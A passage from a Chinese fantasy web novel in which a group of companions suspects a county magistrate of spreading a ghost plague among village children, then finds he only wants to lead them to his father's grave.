庾彦庭是穿鞋的怕光脚的,不能真的伤他也不能伤自己,顾虑多,招招防御,左挡右挡,最终气势弱了下来,一边接招一边回头找救兵,“陆县令,能不能管管你那个大逆不道的学生啊?疯狗一样!” 被点名的陆同光已经是疲乏或头疼,正揉着攒竹穴闭目养神,不闻不问小儿打闹。 庾彦庭换人求助,一打眼往自己那两个好队友好兄弟的方向望去,气就不打一处来:“喂喂喂!我在这维护天朝正统还有你桓家的面子,你们两个干嘛呢!那么亲密做什么!快来救你们庾大宝!” 只见祝弥和桓错正居屋内一角,一个俯首送上耳朵,另一个抬手挡嘴贴耳。二人交头接耳好似在说人坏话,指指点点还面露难色。 刀剑声音太过刺耳,吵得寂照幽幽转醒,颤巍巍地爬了起来。问他要去哪。他抬着手乱指道:“下一家还在等着贫僧去诵经,耽误时辰,造孽啊,咳咳……” 又被众人连忙迎回榻上好做歇息。 庾彦庭终于忍不住了,借着王兰清一个愣神兼顾其他人状况、杀意稍止的空档,以手替刀在他头上敲了一下,然后飞速逃远了,意思是:你输了你输了此事到此为止。 王兰清哪受得了这个气,横眉怒目就要追过去,却听得祝弥古古怪怪扬声一句:“陆县令,寂照师父大概是病了,去给他抓点安神止咳的药吧。” 而寂照又是一阵闹要甩开众手,只说是片刻耽误不得。 陆同光迟疑半分,点点头便起身往外走。 王兰清决定还是“太守不计小人过”,停止打闹专注于正事,脚步一转要和老师一同前去,却被祝弥尴尬喊住。 “咳,太守哥回来。” 王兰清:“?” 祝弥:“来帮忙一起按住我们师父,师父劲大。” 把陆同光支开后,寂照就被放开了。 寂照恼怒似地整理了自己一番仪表,也正欲离去。 “师父不信我了吗?”回头一看,是祝弥立在墙边,一身从容,不再有阻拦的意思,摇着头似在叹气,“师父一做起事情就铆足了劲往前冲,可有时候,对症下药才能药到病除,盲干胡来也不行吧?” “从没想过走一走捷径吗?” * 诵亡魂往生经如何有捷径可走?流程就是那么长,更改不得。念一遍完整的经文,便是一个人,两遍便是两个人,如何可短得。弘扬佛法又有何捷径可 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陆同光像是个火柴,只需简单触碰一下易燃物,病重孩子的魂魄便剧烈燃烧。 这鬼疫的流行……分明是这般传火传出来的! 这种不自然的驱使魂魄之术,和梁川生的招阴役鬼符如出一辙! 但她才认识陆同光第一天,不想过早下论断,须得多方查证,要确定是不是陆同光本意,要确定他身上的鬼为何,是否有符咒在作祟。弄清原委、找到源头,才有下一步事情做。 正当他们嚷嚷着分工合作什么的,说到要不要去刨一刨陆同光祖坟的时候,王兰清直言不许,又以太守之名担保陆同光的为人。 几人差点又吵起来,却听得门外一声踏碎树枝的动静。跟出去一看,竟是陆同光匆匆离去的背影。 屋内的人相互对视,暗道不妙。 “陆县令!我不是不相信你——”祝弥连忙追出去。在背后说人坏话被抓现行,又心虚又尴尬,一时半会也说不清。 但是她也确实看得出陆同光似有察觉,不愿意再过多接触孩子们。只是在其位谋其职,医师和父母官的身份摆在那里,他若说他可能没办法医治孩子。又给不出缘由,只怕是救子心切的村民会化身暴民,无形戾气顷刻就化成了有形戾气啊。更糟糕。 还有,她也担心…… “你就是不相信!”王兰清控诉,“看不出你小小年纪还是个这么多疑多心的性子!” 前方的身影不听呼喊,逃跑似地走着,忽然踉跄了一下,顺势弯了弯腰,再直起腰来的时候,众人看见他举起了凶器——一把镐子! 众人大惊,脚步一顿。 祝弥犹犹豫豫出口问道:“陆县令,敢问你可曾婚配,有孩子否?” 举着镐子的身影顿住了,还肉眼可见地颓了颓,像是被点破了什么似地竟不逃了,转了个方向一步一步朝他们缓缓走来,声音也缓缓,答道—— “如果我儿还活着,今年应该十岁了。” 低着头越走越近,越走越近,那镐子锋利的缘刃似乎还闪了闪光。 众人警惕,横着手你护我我护你。不是怕他手上有武器,而是祝弥说了,陆同光身上的鬼,好像一靠近小孩就变成了黑黢黢、张牙舞爪沸腾一般的,凶魂。 凶魂会怎么杀活人?他们谁也不知道。 寂照叹了口气挡在大家面前,庾彦庭则暗自懊恼没拿上师父给的桃木剑,又莫名走神思考道家防鬼的东西还有什么。 祝弥看不清黑魂笼罩下的陆同光的一举一动,有些危机状况之外的呆愣,所以桓错不由得把她往自己身后拉了些。她是易招惹鬼魂的体质,万一魂被那人身上的凶魂吸去了可怎么办。 王兰清也被这阵势吓到了,喃喃道:“陆先生,你怎么会……” 正当人鬼殊途相互对峙的时候,所有人都各有各的心思飞转……忽然,陆同光一个抬头,脸上的表情明亮了起来,一脸错愕, “不是怀疑我父亲的坟冢有问题?我带你们去不是会快一点吗!愣着干什么,快跟上呀!” 说着还急得跺了一下脚。